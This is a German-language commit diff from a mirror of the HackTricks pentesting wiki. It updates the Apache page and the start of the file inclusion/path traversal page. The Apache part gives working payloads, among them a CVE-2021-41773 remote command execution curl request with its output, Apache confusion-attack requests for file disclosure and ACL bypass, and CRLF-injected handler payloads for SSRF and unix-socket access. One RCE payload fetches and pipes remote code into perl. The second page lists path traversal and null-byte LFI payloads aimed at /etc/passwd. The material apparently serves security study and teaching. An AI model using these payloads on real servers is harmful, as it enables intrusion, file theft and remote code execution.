mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['network-services-pentesting/pentesting-web/apache.md', 'pen
This commit is contained in:
parent
7803492d8a
commit
20f86ec4ee
2 changed files with 347 additions and 101 deletions
|
@ -1,41 +1,8 @@
|
|||
# Apache
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Ausführbare PHP-Erweiterungen
|
||||
|
||||
Überprüfen Sie, welche Erweiterungen den Apache-Server ausführen. Um sie zu suchen, können Sie ausführen:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Auch einige Orte, an denen Sie diese Konfiguration finden können, sind:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
/etc/apache2/mods-available/php7.3.conf
|
||||
/etc/apache2/mods-enabled/php7.3.conf
|
||||
```
|
||||
# CVE-2021-41773
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -47,3 +14,263 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Ausführbare PHP-Erweiterungen
|
||||
|
||||
Überprüfe, welche Erweiterungen den Apache-Server ausführen. Um sie zu suchen, kannst du ausführen:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
Auch einige Orte, an denen Sie diese Konfiguration finden können, sind:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
/etc/apache2/mods-available/php7.3.conf
|
||||
/etc/apache2/mods-enabled/php7.3.conf
|
||||
```
|
||||
## CVE-2021-41773
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Verwirrungsangriff <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
Diese Arten von Angriffen wurden [**von Orange in diesem Blogbeitrag**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) eingeführt und dokumentiert, und das Folgende ist eine Zusammenfassung. Der "Verwirrungs"-Angriff missbraucht im Grunde, wie die Dutzenden von Modulen, die zusammenarbeiten, um einen Apache zu erstellen, nicht perfekt synchronisiert sind, und das Modifizieren unerwarteter Daten in einigen von ihnen kann eine Schwachstelle in einem späteren Modul verursachen.
|
||||
|
||||
### Dateinamenverwirrung
|
||||
|
||||
#### Trunkierung
|
||||
|
||||
Das **`mod_rewrite`** wird den Inhalt von `r->filename` nach dem Zeichen `?` kürzen ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Das ist nicht ganz falsch, da die meisten Module `r->filename` als URL behandeln. In anderen Fällen wird dies jedoch als Dateipfad behandelt, was ein Problem verursachen würde.
|
||||
|
||||
* **Pfadtrunkierung**
|
||||
|
||||
Es ist möglich, `mod_rewrite` wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem einfach der letzte Teil des erwarteten Pfades entfernt wird, indem man ein `?` hinzufügt:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
|
||||
# Expected
|
||||
curl http://server/user/orange
|
||||
# the output of file `/var/user/orange/profile.yml`
|
||||
|
||||
# Attack
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
* **Irreführende RewriteFlag-Zuweisung**
|
||||
|
||||
In der folgenden Rewrite-Regel wird jede URL, die mit .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die mit .php endet, nachdem das `?`-Zeichen, während im Pfad ein anderer Dateityp (wie ein Bild) mit schädlichem php-Code geladen wird:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
|
||||
# Attacker uploads a gif file with some php code
|
||||
curl http://server/upload/1.gif
|
||||
# GIF89a <?=`id`;>
|
||||
|
||||
# Make the server execute the php code
|
||||
curl http://server/upload/1.gif%3fooo.php
|
||||
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer nicht zugreifen sollte, selbst wenn der Zugriff mit Konfigurationen wie: verweigert werden sollte.
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
AuthName "Admin Panel"
|
||||
AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Dies liegt daran, dass PHP-FPM standardmäßig URLs empfängt, die mit `.php` enden, wie `http://server/admin.php%3Fooo.php`, und da PHP-FPM alles nach dem Zeichen `?` entfernt, ermöglicht die vorherige URL das Laden von `/admin.php`, selbst wenn die vorherige Regel dies verboten hat.
|
||||
|
||||
### DocumentRoot Verwirrung
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Ein interessanter Fakt über Apache ist, dass die vorherige Umschreibung versucht, die Datei sowohl aus dem documentRoot als auch aus dem Root-Verzeichnis zuzugreifen. Eine Anfrage an `https://server/abouth.html` wird die Datei in `/var/www/html/about.html` und `/about.html` im Dateisystem überprüfen. Dies kann im Grunde genommen missbraucht werden, um auf Dateien im Dateisystem zuzugreifen.
|
||||
|
||||
#### **Server-Seitige Quellcode-Offenlegung**
|
||||
|
||||
* **Offenlegung des CGI-Quellcodes**
|
||||
|
||||
Es reicht aus, ein %3F am Ende hinzuzufügen, um den Quellcode eines cgi-Moduls offenzulegen:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# #!/usr/bin/perl
|
||||
# use CGI;
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
* **PHP-Quellcode offenlegen**
|
||||
|
||||
Wenn ein Server verschiedene Domains hat, wobei eine davon eine statische Domain ist, kann dies ausgenutzt werden, um das Dateisystem zu durchlaufen und PHP-Code offenzulegen:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **Manipulation lokaler Gadgets**
|
||||
|
||||
Das Hauptproblem bei dem vorherigen Angriff ist, dass standardmäßig der Zugriff auf das Dateisystem in den meisten Fällen verweigert wird, wie in der [Konfigurationsvorlage](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) des Apache HTTP Servers:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Allerdings erlauben die Betriebssysteme [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) standardmäßig `/usr/share`:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Daher wäre es möglich, **Dateien, die sich im Verzeichnis `/usr/share` in diesen Distributionen befinden, auszunutzen.**
|
||||
|
||||
**Lokales Gadget zur Informationsoffenlegung**
|
||||
|
||||
* **Apache HTTP Server** mit **websocketd** könnte das **dump-env.php**-Skript unter **/usr/share/doc/websocketd/examples/php/** exponieren, was sensible Umgebungsvariablen offenlegen kann.
|
||||
* Server mit **Nginx** oder **Jetty** könnten sensible Informationen von Webanwendungen (z.B. **web.xml**) über ihre standardmäßigen Webwurzeln, die unter **/usr/share** platziert sind, exponieren:
|
||||
* **/usr/share/nginx/html/**
|
||||
* **/usr/share/jetty9/etc/**
|
||||
* **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Lokales Gadget zu XSS**
|
||||
|
||||
* Auf Ubuntu Desktop mit **LibreOffice installiert** kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu **Cross-Site Scripting (XSS)** führen. Das Manipulieren der URL unter **/usr/share/libreoffice/help/help.html** kann zu bösartigen Seiten oder älteren Versionen über **unsichere RewriteRule** umleiten.
|
||||
|
||||
**Lokales Gadget zu LFI**
|
||||
|
||||
* Wenn PHP oder bestimmte Front-End-Pakete wie **JpGraph** oder **jQuery-jFeed** installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie **/etc/passwd** zu lesen:
|
||||
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
* **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Lokales Gadget zu SSRF**
|
||||
|
||||
* Durch die Nutzung von **MagpieRSS's magpie\_debug.php** unter **/usr/share/php/magpierss/scripts/magpie\_debug.php** kann eine SSRF-Schwachstelle leicht erstellt werden, die einen Zugang zu weiteren Exploits bietet.
|
||||
|
||||
**Lokales Gadget zu RCE**
|
||||
|
||||
* Die Möglichkeiten für **Remote Code Execution (RCE)** sind vielfältig, mit anfälligen Installationen wie einer veralteten **PHPUnit** oder **phpLiteAdmin**. Diese können ausgenutzt werden, um beliebigen Code auszuführen, was das umfangreiche Potenzial der Manipulation lokaler Gadgets zeigt.
|
||||
|
||||
#### **Jailbreak von lokalen Gadgets**
|
||||
|
||||
Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern generiert wurden, wie:
|
||||
|
||||
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
|
||||
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Darüber hinaus war es durch das Ausnutzen von Symlinks möglich, **RCE in Redmine zu erlangen.**
|
||||
|
||||
### Handler-Verwirrung <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Dieser Angriff nutzt die Überlappung in der Funktionalität zwischen den Direktiven `AddHandler` und `AddType`, die beide verwendet werden können, um **PHP-Verarbeitung zu aktivieren**. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (`r->handler` und `r->content_type` jeweils) in der internen Struktur des Servers. Aufgrund von Legacy-Code behandelt Apache jedoch diese Direktiven unter bestimmten Bedingungen austauschbar, indem `r->content_type` in `r->handler` umgewandelt wird, wenn erstere gesetzt ist und letztere nicht.
|
||||
|
||||
Darüber hinaus, im Apache HTTP Server (`server/config.c#L420`), wenn `r->handler` vor der Ausführung von `ap_run_handler()` leer ist, **verwendet der Server `r->content_type` als Handler**, was effektiv `AddType` und `AddHandler` identisch in der Wirkung macht.
|
||||
|
||||
#### **Handler überschreiben, um PHP-Quellcode offenzulegen**
|
||||
|
||||
In [**diesem Vortrag**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf) wurde eine Schwachstelle präsentiert, bei der ein falsches `Content-Length`, das von einem Client gesendet wird, dazu führen kann, dass Apache fälschlicherweise **den PHP-Quellcode zurückgibt**. Dies geschah aufgrund eines Fehlerbehandlungsproblems mit ModSecurity und der Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass `r->content_type` auf `text/html` überschrieben wird.\
|
||||
Da ModSecurity Rückgabewerte nicht richtig behandelt, würde es den PHP-Code zurückgeben und nicht interpretieren.
|
||||
|
||||
#### **Handler überschreiben, um XXXX**
|
||||
|
||||
TODO: Orange hat diese Schwachstelle noch nicht offengelegt
|
||||
|
||||
### **Willkürliche Handler aufrufen**
|
||||
|
||||
Wenn ein Angreifer in der Lage ist, den **`Content-Type`**-Header in einer Serverantwort zu kontrollieren, wird er in der Lage sein, **willkürliche Modul-Handler aufzurufen**. Allerdings wird zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, der Großteil des Anforderungsprozesses bereits abgeschlossen sein. Es ist jedoch möglich, den Anforderungsprozess durch das Ausnutzen des `Location`-Headers **neu zu starten**, da, wenn der **r**ückgegebene `Status` 200 ist und der `Location`-Header mit einem `/` beginnt, die Antwort als serverseitige Umleitung behandelt wird und verarbeitet werden sollte.
|
||||
|
||||
Laut [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (Spezifikation über CGI) definiert [Abschnitt 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) ein Verhalten für lokale Umleitungsantworten:
|
||||
|
||||
> Das CGI-Skript kann einen URI-Pfad und eine Abfragezeichenfolge (‘local-pathquery’) für eine lokale Ressource in einem Location-Headerfeld zurückgeben. Dies zeigt dem Server an, dass er die Anfrage unter Verwendung des angegebenen Pfades erneut verarbeiten soll.
|
||||
|
||||
Daher ist es notwendig, um diesen Angriff durchzuführen, eine der folgenden Schwachstellen zu haben:
|
||||
|
||||
* CRLF-Injection in den CGI-Antwort-Headern
|
||||
* SSRF mit vollständiger Kontrolle über die Antwort-Header
|
||||
|
||||
#### **Willkürlicher Handler zur Informationsoffenlegung**
|
||||
|
||||
Zum Beispiel sollte `/server-status` nur lokal zugänglich sein:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Es ist möglich, darauf zuzugreifen, indem der `Content-Type` auf `server-status` und der Location-Header mit `/` beginnt.
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Arbitrary Handler to Full SSRF**
|
||||
|
||||
Umleitung zu `mod_proxy`, um auf jedes Protokoll unter jeder URL zuzugreifen:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:
|
||||
http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Allerdings wird der `X-Forwarded-For`-Header hinzugefügt, um den Zugriff auf Cloud-Metadatenendpunkte zu verhindern.
|
||||
|
||||
#### **Willkürlicher Handler zum Zugriff auf lokale Unix-Domain-Sockets**
|
||||
|
||||
Greifen Sie auf den lokalen Unix-Domain-Socket von PHP-FPM zu, um ein PHP-Backdoor auszuführen, das sich in `/tmp/` befindet:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Willkürlicher Handler zu RCE**
|
||||
|
||||
Das offizielle [PHP Docker](https://hub.docker.com/\_/php) Image enthält PEAR (`Pearcmd.php`), ein Befehlszeilen-PHP-Paketverwaltungstool, das missbraucht werden kann, um RCE zu erlangen:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
orange.tw/x|perl
|
||||
) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Überprüfen Sie [**Docker PHP LFI Zusammenfassung**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geschrieben von [Phith0n](https://x.com/phithon\_xg) für die Details dieser Technik.
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Dateiinclusion/Pfad Traversierung
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -20,24 +20,24 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Einblicke**\
|
||||
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
|
||||
Engagiere dich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
|
||||
|
||||
**Echtzeit Hack Nachrichten**\
|
||||
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke
|
||||
Bleibe auf dem Laufenden mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
|
||||
|
||||
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
|
||||
**Tritt uns auf** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginne noch heute mit den besten Hackern zusammenzuarbeiten!
|
||||
|
||||
## Dateiinclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Die Datei wird von einem Remote-Server geladen (Am besten: Du kannst den Code schreiben und der Server wird ihn ausführen). In PHP ist dies **standardmäßig deaktiviert** (**allow\_url\_include**).\
|
||||
**Local File Inclusion (LFI):** Der Server lädt eine lokale Datei.
|
||||
|
||||
Die Schwachstelle tritt auf, wenn der Benutzer in irgendeiner Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
|
||||
Die Schwachstelle tritt auf, wenn der Benutzer auf irgendeine Weise die Datei kontrollieren kann, die vom Server geladen werden soll.
|
||||
|
||||
Verwundbare **PHP-Funktionen**: require, require\_once, include, include\_once
|
||||
Anfällige **PHP-Funktionen**: require, require\_once, include, include\_once
|
||||
|
||||
Ein interessantes Tool, um diese Schwachstelle auszunutzen: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
|
@ -51,10 +51,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
||||
|
||||
Versuche auch, `/` durch `\` zu ersetzen.\
|
||||
Versuche auch, `../../../../../` hinzuzufügen.
|
||||
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
|
||||
Versuchen Sie auch, `../../../../../` hinzuzufügen.
|
||||
|
||||
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) zu finden.
|
||||
Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt).
|
||||
|
||||
### **Windows**
|
||||
|
||||
|
@ -62,14 +62,14 @@ Zusammenführung verschiedener Wortlisten:
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
||||
|
||||
Versuche auch, `/` durch `\` zu ersetzen.\
|
||||
Versuche auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
|
||||
Versuchen Sie auch, `/` durch `\` zu ersetzen.\
|
||||
Versuchen Sie auch, `C:/` zu entfernen und `../../../../../` hinzuzufügen.
|
||||
|
||||
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), ist [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) zu finden.
|
||||
Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle existiert), finden Sie [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt).
|
||||
|
||||
### **OS X**
|
||||
|
||||
Überprüfe die LFI-Liste von Linux.
|
||||
Überprüfen Sie die LFI-Liste von Linux.
|
||||
|
||||
## Grundlegende LFI und Umgehungen
|
||||
|
||||
|
@ -83,9 +83,9 @@ http://example.com/index.php?page=....//....//....//etc/passwd
|
|||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null-Byte (%00)**
|
||||
### **Null byte (%00)**
|
||||
|
||||
Umgehung des Anhangs weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
|
||||
Umgehen Sie das Anhängen weiterer Zeichen am Ende der bereitgestellten Zeichenfolge (Umgehung von: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
@ -106,9 +106,9 @@ Vielleicht überprüft das Backend den Ordnerpfad:
|
|||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Erkundung von Verzeichnisstrukturen auf einem Server
|
||||
### Erkundung von Verzeichnissen im Dateisystem auf einem Server
|
||||
|
||||
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz spezifischer Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
|
||||
Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst die Bestimmung der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Nachfolgend ist eine detaillierte Methode, um dies zu erreichen:
|
||||
|
||||
1. **Bestimmen der Verzeichnistiefe:** Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei `/etc/passwd` abrufen (anwendbar, wenn der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein, was eine Tiefe von drei anzeigt:
|
||||
```bash
|
||||
|
@ -120,7 +120,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
```
|
||||
3. **Interpretieren der Ergebnisse:** Die Antwort des Servers zeigt an, ob der Ordner existiert:
|
||||
* **Fehler / Keine Ausgabe:** Der Ordner `private` existiert wahrscheinlich nicht an dem angegebenen Ort.
|
||||
* **Inhalte von `/etc/passwd`:** Die Anwesenheit des Ordners `private` ist bestätigt.
|
||||
* **Inhalt von `/etc/passwd`:** Die Anwesenheit des Ordners `private` ist bestätigt.
|
||||
4. **Rekursive Erkundung:** Entdeckte Ordner können weiter auf Unterverzeichnisse oder Dateien mit derselben Technik oder traditionellen Local File Inclusion (LFI) Methoden untersucht werden.
|
||||
|
||||
Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passen Sie die Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob `/var/www/` ein `private` Verzeichnis enthält (vorausgesetzt, das aktuelle Verzeichnis befindet sich in einer Tiefe von 3), verwenden Sie:
|
||||
|
@ -129,7 +129,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path-Truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel ist es, einen Dateipfad zu erstellen, der, sobald er durch die Sicherheitsmaßnahme verändert wird, weiterhin auf die gewünschte Datei zeigt.
|
||||
